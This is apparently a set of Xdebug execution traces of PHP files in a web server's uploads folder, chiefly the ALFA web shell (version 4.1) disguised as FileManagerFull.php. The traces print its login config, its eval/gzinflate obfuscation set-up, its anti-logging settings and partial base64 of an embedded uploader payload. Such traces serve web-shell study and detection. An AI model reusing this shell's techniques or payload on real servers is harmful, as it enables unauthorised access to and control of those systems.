4	489	0	0.075221	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	489	1	0.075238	2799056
4	489	R			FALSE
4	490	0	0.075251	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	490	1	0.075268	2799056
4	490	R			FALSE
4	491	0	0.075281	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	491	1	0.075296	2799056
4	491	R			TRUE
4	492	0	0.075309	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	492	1	0.075325	2799056
4	492	R			TRUE
4	493	0	0.075338	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	493	1	0.075353	2799056
4	493	R			TRUE
4	494	0	0.075365	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	494	1	0.075380	2799056
4	494	R			TRUE
4	495	0	0.075393	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	495	1	0.075407	2799056
4	495	R			TRUE
4	496	0	0.075419	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	496	1	0.075435	2799056
4	496	R			TRUE
4	497	0	0.075447	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	497	1	0.075461	2799056
4	497	R			TRUE
3	487	1	0.075474	2797536
3	498	0	0.075482	2797536	alfafooter	1		/var/www/html/uploads/hw0.php	2563	0
4	499	0	0.075494	2797536	htmlspecialchars	0		/var/www/html/uploads/hw0.php	2293	1	'/var/www/html/uploads/'
4	499	1	0.075510	2797728
4	499	R			'/var/www/html/uploads/'
4	500	0	0.075526	2800608	date	0		/var/www/html/uploads/hw0.php	2306	1	'Y'
4	500	1	0.075560	2800896
4	500	R			'2023'
3	498	1	0.077223	2813920
2	60	1	0.077233	2813920
			0.077271	2625832
TRACE END   [2023-02-12 19:23:21.059629]

data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676238284.5421.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:45:10.439971]
1	0	1	0.000152	393608
1	3	0	0.011129	2766016	{main}	1		/var/www/html/uploads/FileManagerFull.php	0	0
1		A						/var/www/html/uploads/FileManagerFull.php	9	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/FileManagerFull.php	19	$CWppUDJxuf = 'function_exists'
1		A						/var/www/html/uploads/FileManagerFull.php	20	$aztJtafUXm = 'charCodeAt'
1		A						/var/www/html/uploads/FileManagerFull.php	21	$OVpGNqqFZs = 'eval'
1		A						/var/www/html/uploads/FileManagerFull.php	22	$psDEwGhsxg = 'gzinflate'
2	4	0	0.011267	2766016	function_exists	0		/var/www/html/uploads/FileManagerFull.php	24	1	'base64_encode'
2	4	1	0.011283	2766056
2	4	R			TRUE
2	5	0	0.011299	2766016	function_exists	0		/var/www/html/uploads/FileManagerFull.php	72	1	'base64_decode'
2	5	1	0.011313	2766056
2	5	R			TRUE
1		A						/var/www/html/uploads/FileManagerFull.php	126	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'username'
2	6	0	0.011362	2765992	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'username'	0	2
2	6	1	0.011378	2766120
2	6	R			'us'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'us'
1		A						/var/www/html/uploads/FileManagerFull.php	133	GLOBALS['DB_NAME']['user'] = 'alfa'
1		A						/var/www/html/uploads/FileManagerFull.php	134	GLOBALS['DB_NAME']['user_rand'] = 'username'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'password'
2	7	0	0.011441	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'password'	0	2
2	7	1	0.011455	2766848
2	7	R			'pa'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'pa'
1		A						/var/www/html/uploads/FileManagerFull.php	138	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1		A						/var/www/html/uploads/FileManagerFull.php	139	GLOBALS['DB_NAME']['pass_rand'] = 'password'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'safe_mode'
2	8	0	0.011528	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'safe_mode'	0	2
2	8	1	0.011543	2766848
2	8	R			'sa'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'sa'
1		A						/var/www/html/uploads/FileManagerFull.php	143	GLOBALS['DB_NAME']['safemode'] = '0'
1		A						/var/www/html/uploads/FileManagerFull.php	144	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'login_page'
2	9	0	0.011605	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'login_page'	0	2
2	9	1	0.011619	2766848
2	9	R			'lo'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'lo'
1		A						/var/www/html/uploads/FileManagerFull.php	148	GLOBALS['DB_NAME']['login_page'] = '403'
1		A						/var/www/html/uploads/FileManagerFull.php	149	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'show_icons'
2	10	0	0.011680	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'show_icons'	0	2
2	10	1	0.011694	2766848
2	10	R			'sh'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'sh'
1		A						/var/www/html/uploads/FileManagerFull.php	153	GLOBALS['DB_NAME']['show_icons'] = '1'
1		A						/var/www/html/uploads/FileManagerFull.php	154	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'post_encryption'
2	11	0	0.011755	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'post_encryption'	0	2
2	11	1	0.011769	2766848
2	11	R			'po'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'po'
1		A						/var/www/html/uploads/FileManagerFull.php	158	GLOBALS['DB_NAME']['post_encryption'] = FALSE
1		A						/var/www/html/uploads/FileManagerFull.php	159	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1		A						/var/www/html/uploads/FileManagerFull.php	128	$key = 'cgi_api'
2	12	0	0.011842	2766720	substr	0		/var/www/html/uploads/FileManagerFull.php	130	3	'cgi_api'	0	2
2	12	1	0.011856	2766848
2	12	R			'cg'
1		A						/var/www/html/uploads/FileManagerFull.php	130	$prefix = 'cg'
1		A						/var/www/html/uploads/FileManagerFull.php	163	GLOBALS['DB_NAME']['cgi_api'] = TRUE
1		A						/var/www/html/uploads/FileManagerFull.php	164	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1		A						/var/www/html/uploads/FileManagerFull.php	172	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	0	0.011980	2767360	implode	0		/var/www/html/uploads/FileManagerFull.php	172	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	1	0.012002	2767520
2	13	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2	14	0	0.012021	2767456	preg_match	0		/var/www/html/uploads/FileManagerFull.php	172	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
2	14	1	0.012041	2767520
2	14	R			0
2	15	0	0.012056	2767360	define	0		/var/www/html/uploads/FileManagerFull.php	179	2	'__ALFA_VERSION__'	'4.1'
2	15	1	0.012073	2767464
2	15	R			TRUE
2	16	0	0.012086	2767392	define	0		/var/www/html/uploads/FileManagerFull.php	180	2	'__ALFA_UPDATE__'	'2'
2	16	1	0.012101	2767496
2	16	R			TRUE
2	17	0	0.012114	2767424	define	0		/var/www/html/uploads/FileManagerFull.php	181	2	'__ALFA_CODE_NAME__'	'Tesla'
2	17	1	0.012128	2767528
2	17	R			TRUE
2	18	0	0.012141	2767456	define	0		/var/www/html/uploads/FileManagerFull.php	182	2	'__ALFA_DATA_FOLDER__'	'ALFA_DATA'
2	18	1	0.012155	2767560
2	18	R			TRUE
2	19	0	0.012168	2767488	define	0		/var/www/html/uploads/FileManagerFull.php	183	2	'__ALFA_POST_ENCRYPTION__'	FALSE
2	19	1	0.012184	2767592
2	19	R			TRUE
2	20	0	0.012197	2767520	define	0		/var/www/html/uploads/FileManagerFull.php	184	2	'__ALFA_SECRET_KEY__'	''
2	20	1	0.012212	2767624
2	20	R			TRUE
1		A						/var/www/html/uploads/FileManagerFull.php	185	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2	21	0	0.012351	2767552	preg_replace	0		/var/www/html/uploads/FileManagerFull.php	511	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/FileManagerFull.php'
2	21	1	0.012369	2767648
2	21	R			'/var/www/html/uploads/FileManagerFull.php'
2	22	0	0.012385	2767552	trim	0		/var/www/html/uploads/FileManagerFull.php	511	1	'/var/www/html/uploads/FileManagerFull.php'
2	22	1	0.012398	2767584
2	22	R			'/var/www/html/uploads/FileManagerFull.php'
2	23	0	0.012414	2767552	str_replace	0		/var/www/html/uploads/FileManagerFull.php	511	3	'\\'	'/'	'/var/www/html/uploads/FileManagerFull.php'
2	23	1	0.012429	2767648
2	23	R			'/var/www/html/uploads/FileManagerFull.php'
1		A						/var/www/html/uploads/FileManagerFull.php	511	GLOBALS['__file_path'] = '/var/www/html/uploads/FileManagerFull.php'
1		A						/var/www/html/uploads/FileManagerFull.php	512	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2	24	0	0.012478	2767928	session_write_close	0		/var/www/html/uploads/FileManagerFull.php	514	0
2	24	1	0.012491	2767928
2	24	R			FALSE
2	25	0	0.012504	2767928	ignore_user_abort	0		/var/www/html/uploads/FileManagerFull.php	515	1	TRUE
2	25	1	0.012526	2767992
2	25	R			0
2	26	0	0.012540	2767960	set_time_limit	0		/var/www/html/uploads/FileManagerFull.php	516	1	0
2	26	1	0.012559	2768024
2	26	R			FALSE
2	27	0	0.012572	2767992	ini_set	0		/var/www/html/uploads/FileManagerFull.php	517	2	'memory_limit'	'-1'
2	27	1	0.012587	2768096
2	27	R			'128M'
2	28	0	0.012600	2767992	ini_set	0		/var/www/html/uploads/FileManagerFull.php	518	2	'upload_max_filesize'	'9999m'
2	28	1	0.012615	2768064
2	28	R			FALSE
2	29	0	0.012631	2767992	error_reporting	0		/var/www/html/uploads/FileManagerFull.php	853	1	32759
2	29	1	0.012644	2768064
2	29	R			0
2	30	0	0.012656	2768024	ini_set	0		/var/www/html/uploads/FileManagerFull.php	854	2	'error_log'	NULL
2	30	1	0.012671	2768096
2	30	R			''
2	31	0	0.012684	2768024	ini_set	0		/var/www/html/uploads/FileManagerFull.php	855	2	'log_errors'	0
2	31	1	0.012698	2768096
2	31	R			'1'
2	32	0	0.012710	2768024	ini_set	0		/var/www/html/uploads/FileManagerFull.php	856	2	'max_execution_time'	0
2	32	1	0.012724	2768064
2	32	R			'0'
2	33	0	0.012737	2767992	ini_set	0		/var/www/html/uploads/FileManagerFull.php	857	2	'magic_quotes_runtime'	0
2	33	1	0.012751	2768064
2	33	R			FALSE
2	34	0	0.012763	2767992	set_time_limit	0		/var/www/html/uploads/FileManagerFull.php	858	1	0
2	34	1	0.012777	2768056
2	34	R			FALSE
2	35	0	0.012789	2768024	function_exists	0		/var/www/html/uploads/FileManagerFull.php	859	1	'set_magic_quotes_runtime'
2	35	1	0.012803	2768064
2	35	R			FALSE
1		A						/var/www/html/uploads/FileManagerFull.php	875	$default_action = 'FilesMan2'
1		A						/var/www/html/uploads/FileManagerFull.php	876	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/FileManagerFull.php	877	$default_charset = 'Windows-1251'
2	36	0	0.012851	2768024	substr	0		/var/www/html/uploads/FileManagerFull.php	878	3	'Linux'	0	3
2	36	1	0.012866	2768152
2	36	R			'Lin'
2	37	0	0.012878	2768056	strtolower	0		/var/www/html/uploads/FileManagerFull.php	878	1	'Lin'
2	37	1	0.012892	2768120
2	37	R			'lin'
1		A						/var/www/html/uploads/FileManagerFull.php	881	GLOBALS['sys'] = 'unix'
2	38	0	0.012918	2768024	alfaGetCwd	1		/var/www/html/uploads/FileManagerFull.php	882	0
3	39	0	0.012931	2768024	function_exists	0		/var/www/html/uploads/FileManagerFull.php	737	1	'getcwd'
3	39	1	0.012945	2768064
3	39	R			TRUE
3	40	0	0.012957	2768024	getcwd	0		/var/www/html/uploads/FileManagerFull.php	738	0
3	40	1	0.012973	2768072
3	40	R			'/var/www/html/uploads'
2	38	1	0.012987	2768072
2	38	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerFull.php	882	GLOBALS['home_cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerFull.php	883	GLOBALS['need_to_update_header'] = 'false'
1		A						/var/www/html/uploads/FileManagerFull.php	884	GLOBALS['glob_chdir_false'] = FALSE
2	41	0	0.013040	2768072	alfaGetCwd	1		/var/www/html/uploads/FileManagerFull.php	890	0
3	42	0	0.013053	2768072	function_exists	0		/var/www/html/uploads/FileManagerFull.php	737	1	'getcwd'
3	42	1	0.013066	2768112
3	42	R			TRUE
3	43	0	0.013079	2768072	getcwd	0		/var/www/html/uploads/FileManagerFull.php	738	0
3	43	1	0.013092	2768120
3	43	R			'/var/www/html/uploads'
2	41	1	0.013106	2768120
2	41	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerFull.php	890	GLOBALS['cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/FileManagerFull.php	898	['cwd'] .= '/'
2	44	0	0.013147	2768120	function_exists	0		/var/www/html/uploads/FileManagerFull.php	899	1	'sys_get_temp_dir'
2	44	1	0.013161	2768160
2	44	R			TRUE
2	45	0	0.013174	2768120	function_exists	0		/var/www/html/uploads/FileManagerFull.php	900	1	'mb_strlen'
2	45	1	0.013188	2768160
2	45	R			FALSE
2	46	0	0.013201	2768120	function_exists	0		/var/www/html/uploads/FileManagerFull.php	905	1	'mb_substr'
2	46	1	0.013214	2768160
2	46	R			FALSE
2	47	0	0.013230	2768120	function_exists	0		/var/www/html/uploads/FileManagerFull.php	910	1	'sys_get_temp_dir'
2	47	1	0.013244	2768160
2	47	R			TRUE
2	48	0	0.013256	2768120	sys_get_temp_dir	0		/var/www/html/uploads/FileManagerFull.php	910	0
2	48	1	0.013270	2768160
2	48	R			'/tmp'
2	49	0	0.013282	2768160	str_replace	0		/var/www/html/uploads/FileManagerFull.php	910	3	'\\'	'/'	'/tmp'
2	49	1	0.013297	2768256
2	49	R			'/tmp'
2	50	0	0.013310	2768160	is_writable	0		/var/www/html/uploads/FileManagerFull.php	910	1	'/tmp'
2	50	1	0.013333	2768200
2	50	R			TRUE
2	51	0	0.013346	2768128	sys_get_temp_dir	0		/var/www/html/uploads/FileManagerFull.php	910	0
2	51	1	0.013359	2768160
2	51	R			'/tmp'
2	52	0	0.013372	2768160	define	0		/var/www/html/uploads/FileManagerFull.php	910	2	'ALFA_TEMPDIR'	'/tmp'
2	52	1	0.013387	2768264
2	52	R			TRUE
2	53	0	0.013402	2768192	function_exists	0		/var/www/html/uploads/FileManagerFull.php	2399	1	'posix_getpwuid'
2	53	1	0.013416	2768232
2	53	R			TRUE
2	54	0	0.013428	2768192	function_exists	0		/var/www/html/uploads/FileManagerFull.php	2401	1	'posix_getgrgid'
2	54	1	0.013442	2768232
2	54	R			TRUE
2	55	0	0.013455	2768192	function_exists	0		/var/www/html/uploads/FileManagerFull.php	2459	1	'scandir'
2	55	1	0.013468	2768232
2	55	R			TRUE
2	56	0	0.013485	2768192	function_exists	0		/var/www/html/uploads/FileManagerFull.php	6162	1	'json_encode'
2	56	1	0.013499	2768232
2	56	R			TRUE
2	57	0	0.013511	2768192	function_exists	0		/var/www/html/uploads/FileManagerFull.php	6204	1	'json_decode'
2	57	1	0.013524	2768232
2	57	R			TRUE
2	58	0	0.013537	2768232	function_exists	0		/var/www/html/uploads/FileManagerFull.php	6520	1	'alfaFilesMan2'
2	58	1	0.013551	2768272
2	58	R			TRUE
1		A						/var/www/html/uploads/FileManagerFull.php	6521	_POST['a'] = 'FilesMan2'
2	59	0	0.013577	2768608	function_exists	0		/var/www/html/uploads/FileManagerFull.php	6524	1	'alfaFilesMan2'
2	59	1	0.013590	2768648
2	59	R			TRUE
2	60	0	0.013603	2768568	alfaFilesMan2	1		/var/www/html/uploads/FileManagerFull.php	6525	0
3	61	0	0.013621	2768568	alfahead	1		/var/www/html/uploads/FileManagerFull.php	2560	0
3		A						/var/www/html/uploads/FileManagerFull.php	912	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3		A						/var/www/html/uploads/FileManagerFull.php	913	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4	62	0	0.013692	2770360	__ZW5jb2Rlcg	1		/var/www/html/uploads/FileManagerFull.php	914	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	63	0	0.013721	2770360	vcnvSCZgBz	1		/var/www/html/uploads/FileManagerFull.php	119	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5		A						/var/www/html/uploads/FileManagerFull.php	68	$b = 'base64_encode'
6	64	0	0.013759	2770360	base64_encode	0		/var/www/html/uploads/FileManagerFull.php	69	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	64	1	0.013792	2772952
6	64	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	63	1	0.013822	2772920
